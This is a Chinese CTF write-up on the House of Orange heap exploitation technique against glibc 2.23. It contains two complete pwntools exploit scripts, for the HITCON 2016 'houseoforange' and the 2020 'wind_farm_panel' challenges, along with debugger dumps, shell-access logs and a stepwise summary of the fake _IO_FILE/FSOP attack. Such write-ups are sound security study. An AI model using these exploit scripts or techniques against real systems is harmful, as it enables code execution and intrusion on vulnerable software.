0x7faf3a0b7520 <__GI__IO_list_all>:	0x00007faf3a0b6b78	0x0000000000000000
1
2
pwndbg>  p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7faf3a0b6b78 <main_arena+88>
1
2
3
pwndbg> x/30gx 0x00007faf3a0b6b78 + 0x60
0x7faf3a0b6bd8 <main_arena+184>:	0x0000555556b754f0	0x0000555556b754f0
0x7faf3a0b6be8 <main_arena+200>:	0x00007faf3a0b6bd8	0x00007faf3a0b6bd8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x0000555556b754f0
0x555556b754f0:	0x0068732f6e69622f	0x0000000000000060
0x555556b75500:	0x00007faf3a0b6bc8	0x00007faf3a0b6bc8
0x555556b75510:	0x0000000000000000	0x0000000000000001
0x555556b75520:	0x0000000000000000	0x0000000000000000
0x555556b75530:	0x0000000000000000	0x0000000000000000
0x555556b75540:	0x0000000000000000	0x0000000000000000
0x555556b75550:	0x0000000000000000	0x0000000000000000
0x555556b75560:	0x0000000000000000	0x0000000000000000
0x555556b75570:	0x0000000000000000	0x0000000000000000
0x555556b75580:	0x0000000000000000	0x0000000000000000
0x555556b75590:	0x0000000000000000	0x0000000000000000
0x555556b755a0:	0x0000000000000000	0x0000000000000000
0x555556b755b0:	0x0000000000000000	0x0000000000000000
0x555556b755c0:	0x0000000000000000	0x0000555556b755c8
0x555556b755d0:	0x00007faf39d5a570	0x00007faf39d5a570

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context(log_level='debug',arch='amd64')
file ='houseoforange_hitcon_2016'

local=1
#local libc
if local == 0:
  p = process("./"+file)
  elf = ELF("./"+file)
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
  p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
      env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
  elf = ELF("./"+file)
  libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
  p = process("./houseoforange_hitcon_2016",
            env={"LD_PRELOAD":"/home/winter/buu/libc-2.23.so"})
  elf = ELF("./"+file)
  libc = ELF("./libc-2.23.so")

def cmd(choice):
  p.recvuntil("choice :")
  p.sendline(str(choice))
  
def add(size,name,price=1,color=1):
  cmd(1)
  p.recvuntil("name :")
  p.sendline(str(size))
  p.recvuntil("Name :")
  p.send(name)
  p.recvuntil("Price of Orange")
  p.sendline(str(price))
  p.recvuntil("Color of Orange")
  p.sendline(str(color))

def show():
  cmd(2)

def edit(size,name,price=1,color=0xddaa):
  cmd(3)
  p.recvuntil("name :")
  p.sendline(str(size))
  p.recvuntil("Name:")
  p.send(name)
  p.recvuntil("Orange:")
  p.sendline(str(price))
  p.recvuntil("Orange")
  p.sendline(str(color))

add(0x10,'a')
payload = 'a' * 0x18
payload += p64(0x21)
payload += p32(1)+p32(0x1f) + p64(0)
payload += p64(0) + p64(0xfa1)
edit(len(payload),payload)

add(0x1000,'a')
add(0x400,'a')
show()
if local == 0:
  log.success("0:"+hex(local))
  libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
elif local == 1:
  log.success("1:"+hex(local))
  libcbase = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-0x39c161
else:
  log.success("2:"+hex(local))
  libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x3bba61
log.success("libc_base:"+hex(libcbase))

payload = 'a'*0x18
edit(len(payload),payload)
show()

p.recvuntil('a'*0x18)
heapbase = u64(p.recv(6)+'\x00\x00') - 0xc0
log.success("heap_base:"+hex(heapbase))

_IO_list_all = libcbase + libc.sym['_IO_list_all']
system = libcbase + libc.sym['system']

payload = "a"*0x400 + p64(0)+p64(0x21)+ p64(0)+p64(0)
fake_file = '/bin/sh\x00' + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
payload += fake_file
payload += p64(heapbase + 0x5c8)
payload += p64(system) * 8

edit(0x800,payload)

p.recvuntil(":")
p.sendline("1")
  
p.interactive()

1/2概率

1
2
3
4
5
6
7
8
9
10
11
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : *** Error in `./houseoforange_hitcon_2016': malloc(): memory corruption: 0x00007fdf7644b520 ***
[*] Got EOF while reading in interactive
$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : *** Error in `./houseoforange_hitcon_2016': malloc(): memory corruption: 0x00007f37d5976520 ***
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x6e bytes:
    'core\tgets\thouseoforange_hitcon_2016  magic.py   orange.py\n'
    'exp.py\thoo.py\tlibc-2.23.so\t\t   magicheap  winter.py\n'
core    gets    houseoforange_hitcon_2016  magic.py   orange.py
exp.py    hoo.py    libc-2.23.so           magicheap  winter.py

参考 & 下载

附件

纵横杯2020 - wind_farm_panel

house of orange的经典题，没啥变化，，，有了上一个基础，很快能做出来

程序流程

image-20201229182916014

根据菜单，只有添加、打印和修改功能，没有free功能

image-20201229183505395

image-20201229183037804

而且添加和修改的时候都有堆溢出，故应该用house of orange来解。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = "wind_farm_panel"

local=1
#local libc
if local == 0:
  p = process("./"+file)
  elf = ELF("./"+file)
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
  p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
            env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
  elf = ELF("./"+file)
  libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
  p = process(["/home/winter/hoo/ld-2.23.so", "./"+file],
            env={"LD_PRELOAD":"/home/winter/hoo/libc-2.23.so"})
  elf = ELF("./"+file)
  libc = ELF("./libc-2.23.so")

def cmd(choice):
    p.recvuntil(">> ")
    p.sendline(str(choice))
    
def add(idx,size,content):
    cmd(1)
    p.recvuntil("turned on(0 ~ 5):")
    p.sendline(str(idx))
    p.recvuntil("wind turbine: ")
    p.sendline(str(size))
    p.recvuntil("Your name:")
    p.send(str(content))

def show(idx):
    cmd(2)
    p.recvuntil(" viewed: ")
    p.sendline(str(idx))

def edit(idx,content):
    cmd(3)
    p.recvuntil("turbine:")
    p.sendline(str(idx))
    p.recvuntil("Please input: ")
    p.send(str(content))

add(0,0x90,'winter')
payload = 'a'*0x90
payload += p64(0)
payload += p64(0xf61)
edit(0,payload)
add(1,0x1000,'winter')
add(2,0x400,'a')

show(2)
libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-0x39C161
log.success(hex(libc_base))

payload = 'a'*0x11
edit(2,payload)
show(2)
p.recvuntil('a'*0x10)
heapbase = u64(p.recv(6)+'\x00\x00')-0x61
log.success("heap_base:"+hex(heapbase))

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']

payload = 'a'*0x400
fake_file = '/bin/sh\x00' + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
payload += fake_file
payload += p64(heapbase + 0x588)
#0x555555f774b0 + 0xd8 - heap_base
payload += p64(system) * 8
edit(2,payload)

cmd(1)
p.recvuntil("turned on(0 ~ 5):")
p.sendline(str(3))
p.recvuntil("wind turbine: ")
p.sendline(str(0x90))
    
p.interactive()
1
2
3
4
5
6
7
8
9
10
[DEBUG] Received 0x56 bytes:
    "*** Error in `./wind_farm_panel': malloc(): memory corruption: 0x00007f49da1f5520 ***\n"
*** Error in `./wind_farm_panel': malloc(): memory corruption: 0x00007f49da1f5520 ***
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x38 bytes:
    'core  ld-2.23.so  libc-2.23.so\twind.py  wind_farm_panel\n'
core  ld-2.23.so  libc-2.23.so    wind.py  wind_farm_panel
$

参考 & 下载

附件 libc ld
点击下载 点击下载 点击下载
  1. https://www.giantbranch.cn/2018/12/29/CTF%20PWN%E4%B9%8Bhouse%20of%20orange/
  2. https://b0ldfrev.top/2018/11/06/House-of-orange/#FSOP
  3. https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/28/orange/

总结

house of orange的步骤：

  1. 栈溢出，修改top chunk的大小。一般保留后三位就行。

  2. top chunk放入了unsortbin

  3. 申请一个small bin or large bin（会从unsortbin中切）

  4. 泄漏libc（申请回来的第一行数据）

  5. 泄漏堆地址（申请回来的第二行数据）

  6. unsortbin attack

    1. “/bin/sh\x00” + p64(0x61) => binsh是作为fp的第一参数，0x61是因为_chains刚好在这儿,

    2. fd随便，bk填libc.symbols['_IO_list_all']-0x10

    3. 接着是_IO_write_base和IO_write_ptr > fp，需要让fp->_IO_write_ptr > fp->_IO_write_base，故分别填0、1即可

    4. 因为vtable的偏移是0xd8，所以都填上0即可（mode需要为0）

    5. 在vtable上填上假的构造的即可，这里是system的函数地址
    6. 最后修改即可。